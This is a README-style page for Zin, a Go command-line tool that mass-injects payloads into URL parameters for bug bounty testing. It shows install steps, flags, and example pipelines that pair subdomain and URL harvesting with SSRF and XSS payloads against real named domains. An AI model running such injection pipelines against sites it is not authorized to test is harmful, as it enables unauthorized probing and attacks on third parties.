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Zin – A Payload Injector For Bugbounties Written In Go

Zin - A Payload Injector For Bugbounties Written In Go

 

A Payload Injector for bugbounties written in go

Features

  • Inject multiple payloads into all parameters
  • Inject single payloads into all parameters
  • Saves responses into output folder
  • Displays Status Code & Response Length
  • Can grep for patterns in the response
  • Really fast
  • Easy to setup

Install

$ go get -u github.com/ethicalhackingplayground/Zin

New Features

Pattern Matching in responses

Match Status Codes

Arguments

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May the bounties come
-c int
the concurrency (default 20)
-g string
grep the response for any matches
-p string
the payload to be used
-pL string
the list of payloads to be used
-s int
filter by status codes (default 200)

SSRF Example

$ subfinder uber.com | gau | grep "=http" | Zin -c 80 -p http://10.82.214.84:31386/foobar.js -g "SUP3R_S3cret_1337_K3y"

XSS Example

$ subfinder uber.com | gau| Zin -c 80 -p '"><script>alert(matchforthis)script>' -g "matchforthis"

Inject Multiple Payloads

$ cat hosts | gau | grep "&" | Zin -c 80 -pL <payloadfile>

Subdomain Scanning

$ subfinder -dL domains --silent | gau | Zin -c 80 -p <payload>

Only Test Parameters

$ echo "google.com" | gau | grep "&" | Zin -c 80 -p '"><script>alert(matchthis)</script<"' -g "matchthis"

Multiple Hosts

$ cat hosts | gau | Zin -c 80 -p <payload>

 

 


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